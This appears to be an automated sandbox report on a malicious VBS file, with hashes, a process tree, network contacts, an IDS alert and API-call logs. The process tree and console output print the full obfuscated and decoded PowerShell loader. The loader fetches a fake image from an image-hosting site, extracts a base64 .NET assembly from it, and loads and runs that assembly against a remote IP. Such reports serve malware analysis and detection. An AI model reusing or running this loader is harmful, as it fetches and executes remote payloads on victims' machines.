Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 17, 2023, 9:40 a.m.	Sept. 17, 2023, 9:42 a.m.

Size	400.4KB
Type	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5	`20ed8a8e329f220221aba615fa5de616`
SHA256	`cb3d5ae5c73c80dd359b2c2ff000c08757c8e44b5e05e1d6d428f8af9a60e00a`
CRC32	`8E592C81`
ssdeep	`12288:Ze06lx1+Wo55yk55+ZqY4ybJOn42KO5BiM2mY5555nyLMpO2IjgHKUMVo+WgvTyF:QxHEgHK+`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\fridayyyyFile.vbs
1208
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
  2080
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
    2200

Name	Response	Post-Analysis Lookup
apps.identrust.com	A 182.162.106.33 CNAME a1952.dscq.akamai.net A 182.162.106.32 CNAME identrust.edgesuite.net	23.67.53.27
uploaddeimagens.com.br	A 104.21.45.138 A 172.67.215.45	104.21.45.138

IP Address	Status	Action
156.236.72.121	Active	Moloch
164.124.101.2	Active	Moloch
172.67.215.45	Active	Moloch
182.162.106.33	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49167 -> 172.67.215.45:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49167 172.67.215.45:443	C=US, O=Let's Encrypt, CN=E1	CN=uploaddeimagens.com.br	67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 17, 2023, 9:39 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 17, 2023, 9:39 a.m.			0	0
IsDebuggerPresent Sept. 17, 2023, 9:39 a.m.			0	0

Command line console output was observed (50 out of 157 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti console_handle: 0x00000023	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: annel." console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: At line:1 char:184 console_handle: 0x00000047	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_ console_handle: 0x00000053	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageByte console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: s = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: ]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BA console_handle: 0x00000077	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: SE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText console_handle: 0x00000083	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex console_handle: 0x0000008f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = console_handle: 0x0000009b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver console_handle: 0x000000a7	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem console_handle: 0x000000b3	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method console_handle: 0x000000bf	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.2 console_handle: 0x000000cb	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: 4.391//:ptth');$method.Invoke($null, $arguments) console_handle: 0x000000d7	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000e3	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x000000ef	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null. console_handle: 0x0000010f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: Parameter name: bytes" console_handle: 0x0000011b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: At line:1 char:247 console_handle: 0x00000127	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_ console_handle: 0x00000133	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageByte console_handle: 0x0000013f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: s = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF console_handle: 0x0000014b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: 8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BA console_handle: 0x00000157	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: SE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText console_handle: 0x00000163	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex console_handle: 0x0000016f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = console_handle: 0x0000017b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver console_handle: 0x00000187	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem console_handle: 0x00000193	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method console_handle: 0x0000019f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.2 console_handle: 0x000001ab	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: 4.391//:ptth');$method.Invoke($null, $arguments) console_handle: 0x000001b7	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000001c3	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x000001cf	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: You cannot call a method on a null-valued expression. console_handle: 0x000001ef	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: At line:1 char:353 console_handle: 0x000001fb	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_ console_handle: 0x00000207	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageByte console_handle: 0x00000213	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: s = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF console_handle: 0x0000021f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: 8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_E console_handle: 0x0000022b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: ND>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText console_handle: 0x00000237	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex console_handle: 0x00000243	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = console_handle: 0x0000024f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver console_handle: 0x0000025b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem console_handle: 0x00000267	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method console_handle: 0x00000273	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.2 console_handle: 0x0000027f	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: 4.391//:ptth');$method.Invoke($null, $arguments) console_handle: 0x0000028b	1	1
WriteConsoleW Sept. 17, 2023, 9:39 a.m.	buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx console_handle: 0x00000297	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 86 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023ed68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023e628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023e628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023e628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023e628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023e628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023e628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eaa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f128 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023f328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eda8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0023eda8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00628718 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00628e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00628e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00628e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
